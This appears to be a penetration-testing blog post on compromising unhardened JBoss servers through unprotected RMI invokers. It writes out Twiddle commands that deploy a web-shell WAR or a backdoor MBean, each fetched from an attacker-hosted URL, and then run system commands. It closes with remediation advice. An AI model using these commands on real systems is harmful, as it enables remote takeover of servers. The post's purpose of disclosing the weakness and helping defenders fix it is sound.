Context encounters a wide range of server technologies during the course of penetration testing, often there are known vulnerabilities that can be used to exploit them, other times Context create new attacks. Context will be blogging about these techniques starting with JBoss RMI Twiddling. JBoss is an open source Java based application server which is widely used in corporate environments. In the past it has had its share of security vulnerabilities most of which have been addressed by adequate patches; however it is still distributed with several insecure options enabled by default. A large number of JBoss installations have not been extensively hardened and therefore are vulnerable to the attacks detailed in this post, that under certain circumstances lead to full system compromise.
There are numerous write-ups on JBoss JMX security concerns, but very few on vulnerabilities associated with Java RMI and it’s (by default) enabled unprotected invokers. None of the commonly used vulnerability scanners appear to probe the JavaRMI ports (1098, 1099, 4444) to verify if the invokers have been locked down, and therefore potentially miss a critical security vulnerability. While they will scream and shout when an unprotected JMX-Console is found, they remain mute over unprotected RMI invokers that could be used to achieve the same thing.
The guys at RedTeam Pentesting wrote a comprehensive paper [1] on the topic which provides background information on the invokers themselves, and how one could use scripts provided with JBoss to deploy a WAR shell on the server. The web shell then proxies the commands to the underlying operating system, allowing an attacker to execute commands in the context of the user running JBoss, regardless of how well protected the web consoles are. While I’ve come across quite a few installations where the web consoles have been left enabled allowing this attack, a large percentage of slimmed and locked down installations have the Coyote web connectors disabled. While this prevents the previously mentioned attacks, it is still possible to exploit this mis-configuration by interacting with the server solely over the RMI ports – for deployment and interaction.
The Web Shell RMI Method
I thought I would include a quick re-cap of the web shell deployed over RMI attack talked about by Red-Team security in the past to make this post a little more comprehensive. The conditions for the attack are that the RMI ports are accessible, and the web connectors have been enabled, i.e. you can reach the web console at a port such as 8080. If the web consoles have been restricted to require authentication, a JSP shell bundled in a WAR file can be remotely deployed over RMI and later interacted with through the port the HTTP connector is listening on (usually 8080) bypassing that protection. The Twiddle tool, bundled with JBoss can be used to do this.
Quick test to verify RMI connectivity:
twiddle -s RHOST get "jboss.system:type=ServerInfo"
This should return something similar to:
HostAddress=X.X.X.XAvailableProcessors=8
OSArch=x86
OSVersion=5.2
HostName=XXXXXX
JavaVendor=Sun Microsystems Inc.
JavaVMName=Java HotSpot(TM) Client VM
FreeMemory=1206132840
ActiveThreadGroupCount=6
TotalMemory=1467809792
JavaVMVersion=1.5.0_18-b02
ActiveThreadCount=160
JavaVMVendor=Sun Microsystems Inc.
OSName=Windows 2003
MaxMemory=1467809792
JavaVersion=1.5.0_18
Then we deploy the Trojan WAR file (easiest if hosted on a web server locally) with Twiddle:
twiddle.sh -s RHOST invoke "jboss.system:service=MainDeployer" deploy http://LOCALIP/trojanCon.warIf you received a ‘null’ response from the previous command, the command shell should now be available through a web browser on http://REMOTEIP/trojanCon/cmd.jsp and allow you to run system commands in the context of the user running JBoss.
What if the Web Connectors Are Disabled
If the web connectors are disabled, the entire process of deploy and invoke would have to be performed via RMI. The easiest way of doing this is to create an Mbean shell (or download the Context Mbean shell) that accepts commands passed to it remotely and executes these on the underlying operating system.
An Mbean, or managed bean, can be used to define an interface for remotely managing resources over RMI. The Mbean can implement this via the following:
- Attributes, which can be read or changed
- Operations, which can be invoked to perform a task
- Notifications, which can be pushed from the Mbean
Further details on Mbeans can be found within the J2SE documentation [3].
The Context Mbean shell defines the operation ‘runCommand’, which
takes two String parameters – a password, defined in the source; and
the command itself. Refer to the readme and the source itself for more
details. If you would like to write your own and don’t know where to
start, the JBoss community provide a walkthrough of a simple HelloWorld
example [4].
Twiddle can then be used to remotely deploy and interact with the shell
using only the RMI ports. Here again the shell would have to be hosted
on a local web server and the URL used as a parameter when calling the
deploy function. The process basically goes like this:
After hosting the Mbean on a local web server, use Twiddle with the same syntax as previously described to deploy it on the server:
twiddle.sh -s RHOST invoke "jboss.system:service=MainDeployer" deploy http://LOCALIP/ContextMBean.sarAgain, a ‘null’ response indicates success. Then a quick check to verify that the Mbean service has been installed and is functioning as required:
twiddle.sh –s REMOTEIP info “com.context.trojan:service=CtxTrojan”This should return:
Description: Management Bean.
+++ Attributes:
Name: Name
Type: java.lang.String
Access: r-
Name: StateString
Type: java.lang.String
Access: r-
Name: State
Type: int
Access: r-
+++ Operations:
void destroy()
void start()
void stop()
void create()
void jbossInternalLifecycle(java.lang.String p1)
java.lang.String runCommand(java.lang.String p1,java.lang.String p2)
And finally to pass a command to the shell with the password that has been set in the uploaded Mbean (default: CtxPass):
twiddle.sh –s RHOST invoke “com.context.trojan:service=CtxTrojan” runCommand “mbeanpassword” “cmd /c dir”Solution
Unfortunately most of the invokers JBoss ships with that have allowed
attacks of this nature come enabled and unprotected by default. An
administrator would therefore have to remove all invokers that are not
required by the solution they are deploying, and manually protect the
rest.
To enable authentication for the various invokers in JBoss a simple XML
configuration edit is required. As authentication sections in the
respective XML files have already been included and only commented out,
this process is fairly trivial. For more information on how to protect
or remove the various invokers, refer to the document referenced at [2]
Although it should be noted that an authentication bypass vulnerability exists in JBoss, which is not referred to in this post, but has been addressed by the following updates from RedHat.
• https://rhn.redhat.com/errata/RHSA-2010-0376.html
• https://rhn.redhat.com/errata/RHSA-2010-0377.html
• https://rhn.redhat.com/errata/RHSA-2010-0378.html
• https://rhn.redhat.com/errata/RHSA-2010-0379.html
References:
[1]– Whitepaper ‘Whos the JBoss now’ by RedTeam Pentesting. http://www.redteam-pentesting.de/publications/2009-11-30-Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN.pdf
[2]– Whitepaper – ‘JBoss Security’. http://jira.jboss.org/jira/secure/attachment/12313982/jboss-securejmx.pdf
[3] - 'Overview of Java Management and Monitoring' - http://download.oracle.com/javase/1.5.0/docs/guide/management/overview.html
[4] - JBoss HelloWorld Service Example - http://community.jboss.org/wiki/ExampleHelloWorldService